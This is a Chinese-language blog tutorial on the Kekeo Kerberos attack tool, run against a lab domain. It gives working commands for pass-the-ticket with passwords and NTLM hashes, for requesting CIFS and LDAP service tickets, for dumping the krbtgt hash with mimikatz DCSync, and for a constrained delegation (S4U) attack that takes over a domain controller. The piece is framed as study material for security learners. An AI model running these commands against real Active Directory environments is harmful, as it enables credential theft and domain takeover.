前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kekeo的使用

Kekeo的使用

作者头像
谢公子
发布2024-04-19 18:40:09
820
发布2024-04-19 18:40:09
举报
文章被收录于专栏:谢公子学安全谢公子学安全

kekeo的使用

Kekeo是MimiKatz的作者Benjamin用C语言写的针对Kerberos协议进行攻击的工具。它可以发起Kerberos请求,并将请求的票据导入内存中,从而模拟针对Kerberos协议各个阶段发起攻击,以方便安全研究员进行研究和学习。然而由于种种原因,并且其功能其实也没有Rubeus工具强大,导致Kekeo并没有很大范围的被使用。以下简要的讲述Kekeo的一些简单用法,本文的目的是希望大家对Kekeo工具有一个简单的了解。

项目地址:https://github.com/gentilkiwi/kekeo

以下是以KekeoV2.1版本为实验,如图:

Kekeo提供的模块

Kekeo提供了多个模块供大家使用,不同模块有不同的功能。

1、standard标准模块

standard标准模块是Kekeo默认的模块,其提供的一些简单的功能。

如图所示,输入任意一个不存在的命令,这里输入的是 ? ,然后会提示在标准模块中并未提供 ?的功能,接着会列举出standard标准模块中提供的一些命令。

如下,是这些standard标准命令的解释:

  • exit:退出
  • cls:清屏
  • answer:回答关于生命、宇宙和一切的终极问题
  • coffee:打印一个咖啡
  • sleep:睡眠时间为一毫秒
  • log:打印日志到文件
  • base64:转换文件input/output base64的支持
  • version:显示版本
  • cd:切换目录
  • localtime:查看当前时间

这些standard标准命令几乎都不常用,但是需要提一点就是base64命令。

base64命令用于input/output对于base64的支持,如下:

代码语言:javascript
复制
#查看base64的支持
base64

#input 支持base64
base64 /input:on

#output 支持base64
base64 /output:on

#input 不支持base64
base64 /input:off

#output 不支持base64
base64 /output:off

如图所示,可以看到,通过on/off切换input/output对于base64的支持。

2、其它模块

除了standard标准模块外,Kekeo提供的其他模块才是重点。如下图,输入任意一个不存在的命令xx::xx,这里输入的是aa::bb,然后会提示aa模块并未发现,接着会列举出Kekeo提供的一些模块如图所示。

如下,是Kekeo提供的一些模块:

  • standard:标准模块
  • tgt:TGT模块
  • tgs:TGS模块
  • exploit:攻击模块
  • misc:杂项模块
  • kerberos:Kerberos包模块
  • smb:小型SMB模块
  • ntlm:NTLM模块
  • tsssp:TSSSP模块

其中最常用的便是tgt和tgs模块,以下会演示这两个模块的一些用法。

申请TGT认购权证

Kekeo使用tgt模块申请TGT认购权证,可以使用明文或者密码哈希进行认证。可以将票据导出成文件,也可以将票据直接导入到当前的内存中。

将TGT认购权证导入到内存中后,想请求什么服务,系统就会自动利用该TGT认购权证请求指定服务的ST服务票据。

如当dir域控或者dcsync哈希的时候,会自动请求对应的ST服务票据。

  • dir请求的服务是cifs服务。
  • mimikatz的dcsync请求的服务是ldap服务。

1、明文密码请求

Kekeo支持使用明文密码请求TGT认购权证。以下演示Kekeo自动导入票据和通过mimikatz手动导入票据。

01、Kekeo自动导入票据

如下命令,使用administrator的明文密码请求TGT认购权证,并自动导入到内存中;票据导入到内存中,即可访问高权限服务了。

代码语言:javascript
复制
#明文密码申请TGT认购权证并导入到内存中
tgt::ask /user:administrator /domain:xie.com /password:P@ssword1234 /ptt 

如图所示,未导入票据之前,是无法通过dir命令访问域控和mimikatz的DCSync功能导出域内哈希的。

导入票据之后,即可通过dir命令访问域控和通过mimikatz的DCSync功能导出域内哈希。如图所示:

02、使用mimikatz手动导入票据

如下命令,使用administrator的明文密码请求TGT认购权证,并生成为kirbi结尾的票据,此时不导入内存中。

代码语言:javascript
复制
#明文密码申请TGT认购权证,此时会生成一个kirbi结尾的票据
tgt::ask /user:administrator /domain:xie.com /password:P@ssword1234
#使用mimikatz导入kirbi结尾的票据
mimikatz.exe "kerberos::ptt TGT_administrator@XIE.COM_krbtgt~xie.com@XIE.COM.kirbi" "exit"

如图所示,以administrator身份申请一张TGT认购权证,可以看到生成了票据文件TGT_administrator@XIE.COM_krbtgt~xie.com@XIE.COM.kirbi。

然后使用mimikatz将该票据导入到内存中,即可使用该票据了。

如图所示,可以看到在mimikatz将票据导入内存前是无法访问域控AD01的,导入票据之后,即可以访问AD01。

2、密码哈希请求

Kekeo也支持使用密码哈希请求TGT认购权证。如下命令,使用administrator的密码哈希请求TGT认购权证。

代码语言:javascript
复制
#密码哈希申请TGT认购权证并导入到内存中
tgt::ask /user:administrator /domain:xie.com /ntlm:33e17aa21ccc6ab0e6ff30eecb918dfb /ptt

#密码哈希申请TGT认购权证,此时会生成一个kirbi结尾的票据
tgt::ask /user:administrator /domain:xie.com /ntlm:33e17aa21ccc6ab0e6ff30eecb918dfb

如图所示,使用密码哈希申请的TGT认购权证,然后直接导入到内存中,此时不会生成以.kirbi结尾的票据文件。票据导入到内存中后,即可访问高权限服务了。

申请ST服务票据

Kekeo使用tgs模块申请ST服务票据,需要提供一张TGT认购权证。因此,需要先使用Kekeo请求一张TGT认购权证,然后再使用tgs模块用该TGT认购权证请求指定服务的ST服务票据。可以将请求的ST服务票据导入内存中或者导出成票据文件。

1、首先请求TGT认购权证

首先,使用Kekeo请求一张TGT认购权证如图所示。

代码语言:javascript
复制
#明文密码申请TGT认购权证,此时会生成一个kirbi结尾的票据
tgt::ask /user:administrator /domain:xie.com /password:P@ssword1234

2、请求ST服务票据

接着用上一步请求的TGT认购权证即可请求指定服务的ST服务票据了!这里需要注意的是我们平常请求的CIFS服务的票据,只能用于dir这种操作,而不能使用mimikatz的DCSync功能。要想使用mimikatz的DCSync功能,需要请求LDAP服务。

01、请求CIFS服务

如下命令,用上一步得到的TGT认购权证请求AD01的CIFS服务的ST服务票据。

代码语言:javascript
复制
tgs::ask /tgt:TGT_administrator@XIE.COM_krbtgt~xie.com@XIE.COM.kirbi /service:cifs/AD01.xie.com /ptt

如图所示,可以看到,未请求ST服务票据之前,无法访问AD01的CIFS服务,导入ST服务票据之后,即可访问AD01的CIFS服务了。

并且由于请求的的CIFS服务的票据,因此无法使用mimikatz的DCSync功能导出域用户哈希。

如图所示,可以看到使用mimikatz的DCSync功能导出域用户哈希时报错。

02、请求LDAP服务

如下命令,用上一步得到的TGT认购权证请求AD01的LDAP服务的ST服务票据。

代码语言:javascript
复制
#请求访问ad01.xie.com的ldap服务的ST服务票据,并导入到内存中
tgs::ask /tgt:TGT_administrator@XIE.COM_krbtgt~xie.com@XIE.COM.kirbi /service:ldap/AD01.xie.com /ptt

#通过mimikatz的DCSync功能导出域用户哈希
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"

如图所示,可以看到,未请求ST服务票据之前,无法通过mimikatz的DCSync功能导出域用户哈希,导入ST服务票据之后,即可使用mimikatz的DCSync功能导出域用户哈希。

并且由于请求的是LDAP服务的票据,因此无法使用dir功能访问域控。

如图所示,可以看到使用dir访问域控AD01时提示权限拒绝。

约束性委派攻击

Kekeo工具只支持约束性委派攻击,而不支持基于资源的约束性委派攻击。以下是使用Kekeo工具进行约束性委派攻击。

代码语言:javascript
复制
#使用machine$账号申请一个TGT认购权证
tgt::ask /user:machine /domain:xie.com /password:root

#使用上一步的TGT认购权证,利用S4U协议,以administrator@xie.com用户身份申请一张访问cifs/AD01.xie.com服务的ST服务票据,并导入到内存中
tgs::s4u /tgt:TGT_machine@XIE.COM_krbtgt~xie.com@XIE.COM.kirbi /user:administrator@xie.com /service:cifs/AD01.xie.com /ptt

攻击者创建了一个机器账号machine$,密码为root,如图所示:

并且配置了machine$机器账号到指定cifs/AD01.xie.com服务的约束性委派,如图所示:

现在使用Kekeo工具利用machine$机器账号进行约束性委派攻击,获得域控AD01的权限,如图所示。

- END -

非常感谢您读到现在,由于作者的水平有限,编写时间仓促,文章中难免会出现一些错误或者描述不准确的地方,恳请各位师傅们批评指正。如果你想一起学习AD域安全攻防的话,可以加入下面的知识星球一起学习交流。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-04-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、standard标准模块
  • 2、其它模块
  • 1、明文密码请求
  • 2、密码哈希请求
  • 1、首先请求TGT认购权证
  • 2、请求ST服务票据
  • 02、请求LDAP服务
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档